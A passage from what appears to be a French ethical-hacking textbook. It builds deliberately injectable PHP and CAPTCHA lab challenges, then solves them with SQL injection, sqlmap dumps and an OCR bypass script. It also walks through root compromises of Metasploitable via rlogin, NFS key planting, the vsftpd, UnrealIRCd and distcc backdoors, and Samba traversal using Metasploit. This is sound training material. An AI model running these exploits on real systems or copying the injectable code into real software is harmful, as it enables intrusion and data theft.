Nous implmentons dans le fichier fonctions.php un formulaire permettant la recherche dun
livre en fonction de sa rfrence.
elseif ( $id==5 )
{
// ***** page 5 rechercher livre *****
?>
<div class="header">
<h3>Livres</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<p>Vous pouvez saisir la rfrence dun livre pour
dterminer sil est disponible.</p>
<p>
<form action="index.php" method="post" id="sc">
<input type="text" name="q" id="q" value="" class="q"/>
<input type="hidden" name="form" value="1">
<input type="submit" name="submit" id="submit" value="Rechercher"
/>
</form>
</p>
</div>
<?php }
Il faut ensuite ajouter dans ce mme fichier le code permettant dafficher le rsultat de cette
recherche.
//*** traitement du POST ***
elseif ($type=="POST")
{
if ( $id==1)
{
echo "<h3>Rsultat de la recherche</h3>";
$con=mysql_connect( $server=localhost, $username=ep6,
$password=acissi!2011);
$db=mysql_select_db(livres);
$ref=$_POST[q];
$requete=SELECT * FROM livres WHERE ref=.$ref;
$result=mysql_query($requete);
if ( $result ) {
$row=mysql_fetch_array($result, MYSQL_ASSOC);
if ( $row ) {
echo "<p>Ce livre existe dans notre base</p>";
echo "<p>Titre : ".$row[titre]."</br>";
echo "Auteur : ".$row[auteur]."</p>";
}
else {
echo "<p>Ce livre nexiste pas dans notre base</p>";
}
}
else {
echo "Erreur";
}
}
}
Cest fini, lpreuve est prte.
b. Solution de la sixime preuve
Pour commencer, nous tudions le comportement du formulaire de recherche propos. Nous
faisons une recherche normale avec un livre qui existe et avec un livre qui nexiste pas. Quand
le livre nexiste pas, nous avons un message nous le signalant et quand le livre existe, nous
voyons apparatre son auteur et son titre.

Nous allons tester si le site est faillible aux injections. Saisissons dans le champ de recherche :
1 union select 1#
Le site nous renvoie une erreur. Ceci nous indique que notre requte a certainement provoqu
une erreur dans la base de donnes. Il semble donc quune injection soit possible mais nous
nen avons pas encore la certitude. Continuons nos essais avec :
2 union select 1,2,3 #
Cette fois, nous voyons un rsultat de recherche positif et le titre du livre est 2 avec un auteur
3. Cest certain prsent, le formulaire est rceptif une injection. La requte comporte trois
champs et les champs 2 et 3 sont affichs dans la page.
Plutt que de continuer la main, nous disposons doutils dans BackTrack capables dextraire
toutes les donnes de la base. Nous allons utiliser sqlmap. La premire tape, bien que nous
layons dj faite la main, est de faire reprer par sqlmap les champs injectables. Voici la
commande et son rsultat :
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1"

sqlmap/1.0-dev-25eca9d - automatic SQL injection and database
takeover tool
http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets
without prior mutual consent is illegal. It is the end users
responsibility to obey all applicable local, state and federal
laws. Authors assume no liability and are not responsible for any
misuse or damage caused by this program

[*] starting at 10:28:28

[10:28:28] [INFO] resuming back-end DBMS mysql
[10:28:28] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0
HTTP(s) requests:
---
Place: POST
Parameter: q
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: form=1&q=1 LIMIT 1,1 UNION ALL SELECT NULL, NULL,
CONCAT(0x3a616c633a,0x4751514c427a64636f49,0x3a6179793a)#
---

[10:28:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5
[10:28:28] [INFO] fetched data logged to text files under
/pentest/database/sqlmap/output/192.168.2.50

[*] shutting down at 10:28:28
Nous visualisons linjection ralise par sqlmap. Ce nest pas la mme injection que nous
avions effectue la main, mais la conclusion est identique : il y a trois colonnes dans la
table.
Poursuivons linjection et demandons sqlmap dextraire les donnes de la base. Voici la
commande et un extrait des rponses obtenues :
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1" -dump
Database: livres
Table: clef_epreuve
[1 entry]
+------------+
| clef |
+------------+
| As81Cfoab4 |
+------------+
Database: livres
Table: livres
[3 entries]
+-----+-----------------+-------------------------------+
| ref | titre | auteur |
+-----+-----------------+-------------------------------+
| 342 | PHP5 | Damien Seguy,Philippe Gamache |
| 426 | Ethical Hacking | ACISSI |
| 532 | seaux | Andrew Tanenbaum |
+-----+-----------------+-------------------------------+
La cl recherche est trouve sans problme.
6. Passer les CAPTCHA
a. Implmentation de la septime lpreuve
Afin dviter que des botnet puissent remplir des formulaires, crer des comptes, faire des
attaques par force brute, etc., il est courant de trouver des CAPTCHA (Completely Automated
Public Turing test to tell Computers and Humans Apart) lors de la saisie de formulaires.
Ceux-ci peuvent prendre diffrentes formes, dont la plus courante est la lecture de chiffres et
de lettres dans une image. Lobjectif de lpreuve sera donc de prouver quun script est
capable de saisir un formulaire et de le valider sans lintervention de lhomme. Passons la
mise en uvre de lpreuve.
Nous crons une page qui permet de poser une question grce un formulaire. Celui-ci sera
protg par un CAPTCHA. Voici le code du formulaire :
// ***** page 5 question *****
$_SESSION[code]=gencode();
?>
<div class="header">
<h3>Question</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<p>
<form action="index.php" method="POST" name="formjs1"
id="formjs1">
<fieldset>
<legend> Question</legend>
Votre pseudo : &nbsp;&nbsp;<input type="text"
name="pseudo"><br>
Votre question : <input type="test" name="question">
<hr />
<img src="images/code.php" alt="captcha" >
<br />Inscrivez le code crit ci-dessus.<br />
Rponse : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input
type="text" name="captcha">
<input type="hidden" name="form" value="1">
<input type="submit" id="valider" name="validr"
value="valider">
</fieldset>
</form>
<p>Saurez-vous poser 5 questions en moins de 10 secondes ? Vous
pouvez si vous ntes pas un homme.</p>
</p>
</div>
<?php }
Au dbut de celui-ci, nous gnrons un code alatoire que nous plaons dans une variable de
session. Il faut implmenter le code de cette fonction dans le fichier fonctions.php, la voici :
function gencode() {
$carac="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123
456789";
$code="";
for ($i=0;$i<6;$i++)
{
$pos=rand(0,strlen($carac)-1);
$code=$code.substr($carac,$pos,1);
}
return $code;

}
Dans le formulaire, une image nomme code.php est place. Ce sera le CAPTCHA. Cette
image est en fait un code PHP qui va gnrer une image au format PNG en fonction de la
variable de session code. Ce script est plac dans le dossier images. Voici son code :
<?php
session_start();
$code=$_SESSION[code];
header("Content-type: image/png");
//cration du canevas de limage 300x300
$im = imagecreate(200,50);
//cration de la palette des couleurs
$noir = imagecolorallocate($im, 0, 0, 0);
$jaune = imagecolorallocate($im, 255, 255, 0);
$rouge = imagecolorallocate($im,255,0,0);
$vert = imagecolorallocate($im,0,255,0);
$blanc = imagecolorallocate($im,255,255,255);
$gris = imagecolorallocate($im,100,100,100);
imagefilledrectangle($im,0,0,200,50,$blanc);
// Dfinition de la variable denvironnement pour GD
putenv(GDFONTPATH= . Realpath(.));
$font = DejaVuSansMono.ttf;
//criture dun code
for ($x=0;$x<=6;$x=$x+3)
{
$txt=substr($code,$x,1);
$angle = rand(-20,20);
$espace=30;
imagettftext($im,20,$angle,10+$espace*$x,30,$jaune,$font,
$txt);
$txt=substr($code,$x+1,1);
$angle = rand(-20,20);
imagettftext($im,20,$angle,10+$espace*($x+1),30,$rouge,
$font,$txt);
$txt=substr($code,$x+2,1);
$angle = rand(-20,20);
imagettftext($im,20,$angle,10+$espace*($x+2),30,$vert,$font,
$txt);
}
//cration de limage en png
imagepng($im);
imagedestroy($im);
?>
Pour que cette image puisse tre gnre sans problme, il faut disposer de la police
DejaVuSans.ttf dans le dossier images. Nous copions celle-ci du dossier
/usr/share/fonts/truetype.
root@WEB1:/home/web/www/epreuve7# cp
/usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf
/home/web/www/epreuve7/images/
Notre formulaire est prt. Il faut prsent implmenter la validation de celui-ci. Pour prouver
que ce sera bien un script qui valide le formulaire, le mieux est de compter un nombre de
validations par seconde quun homme sera incapable de faire. Donc, ds la premire
validation, nous dclenchons une sorte de chronomtre et nous naurons que 10 secondes pour
faire 5 validations. Cette information sera donne celui qui veut rsoudre cette preuve.
Voici le code de validation du formulaire que nous implmentons sous la forme dune
fonction :
function val_captcha($valeur)
{
//echo $valeur."<br />";
//echo $_SESSION[valeur]."<br />";
$temps=10;
//initialisation du temps
if (!($_SESSION[temps]>0)) $_SESSION[temps]=time();
echo "temps initial : ".$_SESSION[temps]."<br />";
$reste = $temps-(time()-$_SESSION[temps]);
//echo "temps restant : ".$reste."<br />";

if (preg_match("#[A-Za-z0-9]{6}#", $valeur))
{
echo $_SESSION[code]."<br />";
if ($valeur==$_SESSION[code]) {
switch($_SESSION[etape]) {
case 1 :
if ($reste>=0)
$_SESSION[etape]=2; else $_SESSION[etape]=0;
echo "Validation n ".
$_SESSION[etape]."<br />";
break;
case 2 :
if ($reste>=0)
$_SESSION[etape]=3; else $_SESSION[etape]=0;
echo "Validation n ".
$_SESSION[etape]."<br />";
break;
case 3 :
if ($reste>=0)
$_SESSION[etape]=4; else $_SESSION[etape]=0;
echo "Validation n ".
$_SESSION[etape]."<br />";
break;
case 4 :
if ($reste>=0)
{
echo "Bravo, vous
avez gagn!<br />";
$i=7;

$IP=$_SERVER[REMOTE_ADDR];
$code="4QI85ccE00";
echo Votre clef de
validation est : <strong>.$code.</strong><br />;
}
else $_SESSION[etape]=0;
break;
default:
$_SESSION[etape]=1;
echo "Validation n ".
$_SESSION[etape]."<br />";
}
if ($reste<0) {
echo "TROP TARD!! Tentez nouveau votre
chance<br />";
$_SESSION[etape]=0;
}
}
else {
echo "Mauvaise valeur";
}
}
else
{
echo "Erreur de saisie.<br />";
}
unset($_SESSION[code]);
}
Voil, notre preuve est prte. Nous devons visualiser correctement le CAPTCHA dans la
page Questions et celui-ci doit changer chaque fois que nous rafrachissons la page.

b. Solution de la septime preuve
Pour solutionner cette preuve, il faut crer un programme qui ralise les tches suivantes :
Appeler la page Questions pour gnrer le CAPTCHA
Tlcharger limage du CAPTCHA
Dcoder le CAPTCHA
Poster le formulaire
Il faudra rpter ces oprations 5 fois en moins de 10 secondes. Nous choisissons dcrire ce
script en Python et dutiliser un logiciel de reconnaissance optique de caractres externe.
Nous prendrons gocr.
Commenons par installer gocr :
root@bt:~/ENI_captcha# aptitude install gocr
Nous allons expliquer le script progressivement. Le voici :
Nous commenons par indiquer que le script sera en UTF-8, puis nous importons les librairies
dont nous allons avoir besoin : urllib et urllib2 pour gnrer les requtes GET et POST. Il
faut aussi cookielib pour conserver la session. Ensuite vient os pour pouvoir appeler une
commande externe, gocr. Enfin, nous devrons traiter un peu limage pour aider gocr, pour
cela PIL (Python Imaging Library) sera parfait.
#!/usr/bin/env python
#--*-- coding: UTF-8 --*--

import urllib2, urllib, cookielib, os
from PIL import Image
Nous prparons les URL des requtes utiles.
url_question="http://192.168.2.50/epreuve7/index.php?page=5"
url_image="http://192.168.2.50/epreuve7/images/code.php"
url_post="http://192.168.2.50/epreuve7/index.php"
Nous crons un objet permettant de garder la session.
urlOpener =
urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.
CookieJar()))
Nous initialisons le nombre de validations 0.
nbrval=0
Nous commenons la boucle. Comme gocr ne va pas russir dcoder limage chaque fois,
il faudra faire plus de 5 essais. Nous esprons quand mme russir valider 5 fois sur 50.
for i in range(0,50):
Nous appelons le formulaire de questions pour gnrer une nouvelle image de CAPTCHA,
puis nous rcuprons les donnes brutes de cette image et les enregistrons.
#Appel du formulaire des questions
rep_question=urlOpener.open(url_question)
captcha = urlOpener.open(url_image)
donnees = captcha.read()
img=open("captcha.png","w")
img.write(donnees)
.close()
Limage du CAPTCHA tant en couleur, elle sera difficilement interprtable par gocr. Nous
allons donc passer les lettres en noir. Pour cela, nous considrons que le point en haut
gauche est de la couleur du fond. Tous les points ntant pas de cette couleur sont alors passs
en noir. Une fois cette opration effectue, nous enregistrons la nouvelle image.
#traitement image
im = Image.open("captcha.png")
im = im.convert("P")
fond = im.getpixel((1,1))
temp = {}
for x in range(im.size[1]):
for y in range(im.size[0]):
pix = im.getpixel((y,x))
temp[pix] = pix
if pix != fond:
im.putpixel((y,x),0)
im.save("captcha.png")
Il est temps de passer limage dans gocr et de rcuprer son retour. Nous affichons le rsultat
de gocr pour information.
#Lecture image
os.system("gocr captcha.png > captcha.txt")
txt=open("captcha.txt","r")
txtcaptcha=txt.read()
txt.close()
txtcaptcha=txtcaptcha.rstrip()
print txtcaptcha
Nos informations peuvent tre postes. Nous utilisons urlencode pour formater les donnes du
formulaire et postons celles-ci.
#Envoi captcha pour validation
valeurs = {pseudo : codej, question : captcha,
captcha : txtcaptcha , form : 1 }
data = urllib.urlencode(valeurs)
reponse=urlOpener.open(url_post,data)
Nous rcuprons la page du retour du formulaire. Si celle-ci contient le mot Validation ,
cest que gocr a bien fait son travail. Nous comptons le nombre de validations russies.
Arrivs la cinquime validation russie, nous affichons la page qui atteste de la validation de
lpreuve.
page = reponse.read()
#Affichage
if nbrval<4 :
if "Validation" in page :
print Validation num :+str(nbrval)+"
captcha : "+txtcaptcha
nbrval+=1
else :
if "Bravo" in page :
print page
break
Lanons le script. Voici un extrait de laffichage quil provoque.
root@bt:~/ENI_captcha# python captcha.py
al7mR
X19zDW
OlmX
Oen4H9
cUY3fY
Validation num :0 captcha : cUY3fY
AtdQ5i
Validation num :1 captcha : AtdQ5i
TiEgP2
G4izC
y3njA4
Validation num :2 captcha : y3njA4
Ngg4
6Rl06B
vi4QAa
Validation num :3 captcha : vi4QAa
rglDQ
TdRb
oVmjh
...
<br />Bravo, vous avez gagn!<br />
Voil, lpreuve est valide.
Plateformes dentranement
Introduction
Afin de pouvoir tester tout type de machines, nous allons installer diffrents autres systmes
tels que Windows ou des machines faillibles cls en main comme Metasploitable ou
Webgoat.
Metasploitable
Metasploitable est une machine virtuelle sous Linux vulnrable. Cette VM peut tre utilise
pour sentraner au pentesting (test de pntration), tester des outils de scurit tels que
metasploit et pratiquer les techniques usuelles de pntration de systmes.
Nous pouvons tlcharger cette machine virtuelle cette adresse :
http://information.rapid7.com/download-metasploitable.html?LS=1631875&CS=web
Le login et mot de passe par dfaut sont msfadmin et msfadmin.
Ds que nous aurons rcupr cette machine, nous devrons extraire le fichier (fichier zip) et
linstaller dans notre Proxmox comme nous vous lavons expliqu dans le chapitre Proxmox.
Une fois la machine installe et lance, nous devrions arriver sur lcran suivant :

Nous pouvons donc nous connecter sur la machine avec lidentifiant msfadmin et le mot de
passe msfadmin et effectuer un ifconfig afin de dterminer ladresse MAC et ladresse IP.
Ladresse IP est donc pour cette machine 192.168.1.131 et son adresse MAC,
00:0c:29:9a:52:c1.
msfadmin@metasploitable:~$ ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1
inet addr:192.168.1.131 Bcast:192.168.99.255
Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
La premire chose que nous ferons si nous le souhaitons est de changer le mot de passe de
ladministrateur msfadmin.
msfadmin@metasploitable:~$ passwd
Changement du mot de passe pour fasm.
Mot de passe UNIX (actuel) :
Nous pourrons bien sr passer cette machine en DHCP afin que notre serveur vu au chapitre
Machines virtuelles et services puisse lui fournir une adresse fixe. Cest pour cela que nous
avons besoin de ladresse MAC.
1. Liste des services
De notre machine attaquante, une KaliLinux par exemple, nous pouvons essayer didentifier
les services qui tournent sur cette machine avec par exemple lexcellent outil nmap. La
commande suivante scannera tous les ports TCP sur la machine distante Metasploit :
root@ubuntu:~# nmap -p0-65535 192.168.1.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)
Chacun de ces points dentre est susceptible de comporter une faille quelconque.
2. Services : les bases UNIX
Les ports TCP 512, 513 et 514 sont connus comme des services r (Berkeley r-services et r-
commands tels que rsh, rexec et rlogin), et ont t mal configurs pour autoriser un accs
distance de nimporte quel hte. Pour pouvoir tirer parti de ces failles, il va nous falloir tre
srs que rsh-client est install et nous pourrons lancer la commande suivante en tant que root
sur la machine attaquante. Si une demande nous est faite dune cl SSH, cela voudra dire que
lutilitaire rsh-client nest pas install et que le systme utilise par dfaut SSH.
# rlogin -l root 192.168.1.131
Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00
UTC 2008 i686
root@metasploitable:~#
Cest aussi simple que cela. Le prochain service que nous allons regarder est le Network File
System (NFS est un protocole qui permet aux ordinateurs daccder des fichiers via un
rseau). NFS peut tre identifi en testant le port 2049 directement ou en demandant la liste
des services au portmapper (processus qui analyse les paquets arrivant sur une interface et qui
les route selon leur adresse et leur port de destination). Lexemple ci-aprs utilise rpcinfo pour
identifier NFS et showmount -e pour dterminer que le partage "/" (le root du systme de
fichiers) est export. Nous aurons besoin des paquets rpcbind et nfs-common pour suivre cela.
root@ubuntu:~# rpcinfo -p 192.168.1.131
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 53318 status
100024 1 tcp 43729 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100021 1 udp 46696 nlockmgr
100021 3 udp 46696 nlockmgr
100021 4 udp 46696 nlockmgr
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 tcp 55852 nlockmgr
100021 3 tcp 55852 nlockmgr
100021 4 tcp 55852 nlockmgr
100005 1 udp 34887 mountd
100005 1 tcp 39292 mountd
100005 2 udp 34887 mountd
100005 2 tcp 39292 mountd
100005 3 udp 34887 mountd
100005 3 tcp 39292 mountd

root@ubuntu:~# showmount -e 192.168.1.131
Export list for 192.168.1.131:
/ *
Obtenir un accs un systme avec un systme de fichiers en criture est une chose triviale.
Pour faire cela (et parce que ssh tourne), nous allons gnrer une cl SSH sur notre machine
attaquante, monter lexport NFS et ajouter notre cl au compte de lutilisateur root (fichier
authorized_keys) :
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.1.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>
/tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.1.131
Last login: Fri Jun 1 00:29:33 2012 from 192.168.1.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00
UTC 2008 i686

root@metasploitable:~#
3. Services : Backdoors
Sur le port 21, Metasploitable fait tourner vsftpd, le FTP que nous avons configur au
chapitre Machines virtuelles et services. Cette version, ici la version 2.3.4, comporte une
backdoor qui a t ajoute au service par un intrus. La version contenant la backdoor a t
mise disposition sur le web et sest donc propage.
La backdoor a t trs vite identifie et enleve, mais pas assez rapidement puisque beaucoup
de personnes ont eu le temps de tlcharger la version concerne.
Si un nom qui se termine par :) est envoy, la backdoor ouvre le port 6200 et lance un
shell en coute sur ce port.
Nous pouvons dmontrer cela avec telnet ou utiliser un module de Metasploit pour lexploiter
automatiquement :
root@ubuntu:~# telnet 192.168.1.131 21
Trying 192.168.1.131...
Connected to 192.168.1.131.
Escape character is ].
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.1.131 6200
Trying 192.168.1.131...
Connected to 192.168.1.131.
Escape character is ].
id;
uid=0(root) gid=0(root)
Sur le port 6667 de Metasploitable tourne un dmon IRC, UnreaIRCD. Cette version contient
une backdoor qui na pas t identifie pendant des mois, dclenche lorsque les lettres
AB suivies par une commande systme lui sont envoyes sur nimporte quel port en
coute. Metasploit a un module qui lexploite afin dobtenir un shell interactif comme montr
ci-dessous.
Msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.1.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldnt resolve your
hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.128:4444 ->
192.168.1.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)
Une autre et trs vieille backdoor, ingreslock , coute sur le port 1524. Pour y accder, rien
de plus simple :
root@ubuntu:~# telnet 192.168.1.131 1524
Trying 192.168.1.131...
Connected to 192.168.1.131.
Escape character is ].
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)


Services:Unintentional Backdoors
En plus des backdoors vues prcdemment, quelques services sont des sortes de backdoors
par leur nature. Le premier est distccd. Distccd est le serveur du compilateur rparti distcc. Il
excute les tches de compilation qui lui sont confies en rseau par ses clients.
Distcc peut tre excut soit sur TCP, soit par une commande de connexion telle que ssh : les
connexions TCP sont rapides mais peu sres ; les connexions SSH sont scurises mais plus
lentes.
Le problme avec ce service est quun attaquant peut aisment le contourner pour lancer une
commande de son choix. Nous allons dmontrer cela en utilisant un module Metasploit.
Msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.1.131
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.128:4444 ->
192.168.1.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Samba est une implmentation libre des protocoles SMB (Server Message Block) et CIFS
(Common Internet File System).
Samba fournit des services et fichiers dimpression pour des clients Windows et peut
sintgrer un domaine Windows Server.
Samba, lorsquil est configur avec un fichier partag en criture et avec loption wide links
valide ( on par dfaut), peut aussi tre utilis comme une backdoor de faon accder
des fichiers qui nont pas t partags. Lexemple ci-dessous utilise un module Metasploit
pour obtenir un accs au systme de fichiers de lutilisateur root avec une connexion
anonyme.
root@ubuntu:~# smbclient -L //192.168.1.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable
server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable
server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.1.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share tmp...
[*] Trying to link rootfs to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.1.131\tmp\rootfs\

msf auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.1.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as
/tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2
KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
4. Vulnerable Web Services
Des vulnrabilits web sont prinstalles dans Metasploitable. Le serveur web se lance
automatiquement quand Metasploitable est dmarr. Pour accder ces applications web,
nous ouvrirons un navigateur web et nous connecterons sur lURL http://<IP> o <IP> est
ladresse de Metasploitable.
Dans lexemple, Metasploitable tourne ladresse IP 192.168.56.101. Donc nous entrerons
http://192.168.56.101/ comme montr dans limage ci-dessous.

Pour accder aux applications web particulires, il suffit de cliquer sur les liens de la page
daccueil.
Dautres applications web peuvent tre accessibles en indiquant un rpertoire dans lURL :
http://<IP>/<Application>/
Par exemple, lapplication Mutillidae est accessible ladresse :
http://192.168.56.101/mutillidae/
Les applications sont installes dans le rpertoire /var/www.
Dans cette version, au moment de lcriture de ce livre, nous avons :
Mutillidae (NOWASP Mutillidae 2.1.19)
DVWA (Damn Vulnerable Web Application)
phpMyAdmin
TikiWiki (TWiki)
TikiWiki-old
dav (WebDav)
a. Vulnrabilit web : Mutillidae
Lapplication web Mutillidae (NOWASP (Mutillidae)) contient toutes les vulnrabilits du
classement des 10 failles web de lOWASP comme le stockage web HTML-5, clickjacking...

Le clickjacking est le moyen de forcer linternaute cliquer sur quelque chose sur une page
web pour lui faire excuter une action malveillante.
Inspir par DVWA, Mutillidae autorise lutilisateur changer le niveau de scurit de 0
(compltement inscuris) 5 (scuris). En outre, trois niveaux ont t inclus : "Level 0 -
trs difficile" "Level 2 - novice".
Si lapplication est endommage par de linjection ou des hacks, cliquez sur le bouton Reset
DB qui va remettre tout dans les conditions initiales.

Pour remettre le score des preuves valides zro, il suffira de cliquer sur le bouton Toggle
hints de la barre de menu.

Vous pourrez trouver toutes les informations ncessaires aux adresses suivantes :
https://community.rapid7.com/docs/DOC-1875
http://www.offensive-security.com/metasploit-unleashed/Metasploitable
b. Vulnrabilit web : DVWA
Damn Vulnerable Web App (DVWA) est une application web crite en PHP qui est
vulnrable. Son but principal est dtre une aide pour les professionnels de la scurit pour
tester leurs connaissances et leurs outils dans un environnement lgal. Elle a aussi pour but
daider le dveloppeur comprendre les processus de scurit de leurs applications et enfin,
daider les enseignants et tudiants enseigner ou apprendre les failles Web en classe.
DVWA contient des instructions dans sa page web et des informations additionnelles sont
disponibles sur la page wiki de DVWA : http://code.google.com/p/dvwa/w/list
Default username = admin
Default password = password

c. Vulnrabilit web : Information Disclosure
Une page dinformation PHP peut tre trouve cette adresse : http://<IP>/phpinfo.php. Dans
cet exemple, lURL serait http://192.168.56.101/phpinfo.php.
Nous trouverons donc des informations internes au systme et des informations sur les
versions des services qui peuvent tre utilises pour la recherche de vulnrabilits. Par
exemple, notons que la version de PHP indique dans la capture dcran ci-aprs est une
version 5.2.4, il peut tre possible quil soit donc vulnrable aux CVE (Common
Vulnerabilities and Exposures) CVE-2012-1823 et CVE-2012-2311 qui ont affect les
versions de PHP avant 5.3.12 et 5.4.x avant 5.4.2.

Nous avons fait un peu le tour de la VM Metasploitable.
Nous allons revenir ici un peu sur Metasploit afin, pour ceux qui ne le connaissent pas, de le
prendre en main, et ceux qui le connaissent, de se remettre en tte son utilisation.
5. Metasploit
Nous pourrons linstaller sur notre machine attaquante afin de tester une plate-forme de
pentesting.
Metasploit est une plate-forme open source pour dvelopper, tester et utiliser des exploits.
Cette application, ses dbuts, tait un jeu en rseau et a volu en une plate-forme de
pentesting, de dveloppement dexploits et de recherche de failles.
Nous pourrons faire une recherche sur Google afin de trouver le paquet ncessaire sous Linux
ou lexcutable sous Windows.
a. Metasploit Command Line Interface (MSFCLI)

Nous utilisons pour linstant Metasploit 2. Pour dcouvrir cette application, nous allons
utiliser la faille RCP DCOM exploit (MS03-026) contre notre victime, un Windows 2000
(192.168.29.15).
framework2 # ./msfcli |grep 026
msrpc_dcom_ms03_026
Microsoft RPC DCOM MSO3-026
framework2 #
Nous pouvons maintenant slectionner lexploit.
framework2 # ./msfcli msrpc_dcom_ms03_026 O
Exploit Options
===============
Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST
The target address
required RPORT 135
The target port
Target: Windows NT SP3-6a/2K/XP/2K3 English ALL
framework2 #
Nous pouvons maintenant choisir un PAYLOAD (P).
framework2 # ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 P
Metasploit Framework Usable Payloads
====================================
win32_adduser
Windows Execute net user /ADD
win32_bind
Windows Bind Shell
win32_bind_dllinject
Windows Bind DLL Inject
win32_bind_meterpreter
Windows Bind Meterpreter DLL Inject
win32_bind_stg
Windows Staged Bind Shell
win32_bind_stg_upexec
Windows Staged Bind Upload/Execute
win32_bind_vncinject
Windows Bind VNC Server DLL Inject
win32_downloadexec
Windows Executable Download and Execute
win32_exec
